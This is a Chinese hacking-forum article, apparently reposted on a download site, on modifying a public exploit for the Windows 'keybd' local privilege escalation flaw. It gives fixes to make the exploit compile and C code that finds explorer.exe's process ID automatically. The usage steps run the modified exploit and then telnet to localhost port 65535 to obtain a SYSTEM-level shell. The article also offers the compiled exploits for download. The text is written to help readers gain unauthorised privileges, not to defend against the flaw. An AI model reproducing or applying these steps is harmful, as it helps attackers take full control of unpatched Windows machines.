- ·上一篇文章:fpipe的用法
- ·下一篇文章:加花指令让鸽子过KV内存(图)
keybd本地权限提升漏洞测试与利用程序的简单改造
喜欢这些内容嘛,请告诉你身边的朋友,易下载中心-QQ资源-itnetcn.com一起享受这份乐趣,本站内容来源互联网
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
作者:无敌最寂… 文章来源:邪恶八进制信息安全团队
最近由于刚刚换了学校,上网确实不方便.keybd这个漏洞是在6月9好连同ms05018一起公布出来的,按照惯例,我肯定是要写一些这几个漏洞的DD给大家,只是客观条件不允许,所以直到今天我才发出来,希望还能给大家点帮助.
ms05018这个漏洞的exploit已经公布了,而且按照公布的exploit编译后可以利用成功,所以没什么可以自己参考网上的相关资料.好说的.keybd是个本地提升权限所用(而且只能本地,不能用在webshell上),关于漏洞的详细描述大家
由于关于本漏洞的利用我已经写成稿子发表在X档案的第10期,所以关于本漏洞的一些DD我就暂时不能在此多说了.希望各位朋友海涵.
拿到exploit后,有些朋友可能一编译就出错,最简单的方法就是把这一行"doFormatMessage(GetLastError());"删除掉,就可以成功编译了.
编译后按照exploit中公布的方法测试,我是成功了的.至于有些朋友说没有成功,一般情况下是由于你一登陆系统后的默认输入法不是英文的,所以造成利用上的失败(仔细看下exploit的代码,就知道该漏洞是如何利用的了).
但是该exploit还需要一个查看进程id的工具(XP下有tlist,所以在xp下就无所谓了。但是在2000下由于系统没有自带进程查看工具,所以就显得麻烦了许多).所以简单的改造一下exploit,让它自己查找explorer进程的id就可以省去很多麻烦了(我想exploit的作者,也是想留个大家自己动手的机会吧).改造起来非常简单,会用Toolhelp32中的那几个函数就非常简单了.比如在exploit的前面增加如下函数:
DWORD GetPid(void)
{
PROCESSENTRY32
pe32;
HANDLE hProc;
DWORD expid;
hProc=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(!hProc)
{
printf("CreateToolHelp32Snapshot Failed:%d",GetLastError());
return -1;
}
ZeroMemory(&pe32,sizeof(PROCESSENTRY32));
pe32.dwSize=sizeof(PROCESSENTRY32);
//Process32First(hProc,&pe32);
//printf("the first
process name is %s/n",pe32.szExeFile);
while(Process32Next(hProc,&pe32))
{
//printf("Process name is %s/n",pe32.szExeFile);
if(!strncmp(pe32.szExeFile,"explorer.exe",12))
{
printf("GOT
IT!/nPID is %d/n",pe32.th32ProcessID);
expid=pe32.th32ProcessID;
break;
}
}
CloseHandle(hProc);
return
expid;
}
就可以简单实现进程的pid的查找.然后在main函数中稍加修改即可.
由于该exploit在利用过程中需要第二次执行一遍自身程序,来实现绑定端口.因此在main函数中采用了对argc(即传递的参数的个数)个数的判断来执行不同的功能.我们改造后,其实就不需要第二个参数了(原程序中的第二个参数是explorer的pid,我们改造后可以自动获得.所以就不需要了),但是为了进行功能上的判断,我们第二个参数不能省略,但是可以是任意值.(我没有觉得有比这种判断方法更好的办法了,所以就还采用了这种判断方法).
所以在利用改造后的程序提升权限的时候,你可以输入keybdnew.exe
superlone(其中superlone为任意值)就可以,如果出现下图一的提示就说明利用成功了.
然后就可以telnet localhost 65535
得到一个system权限的shell了,如下图二.
就这些了,好久没发了...呵呵~~~~
下面打包发上来的程序包括编译好的原exploit和改造后的exploit.

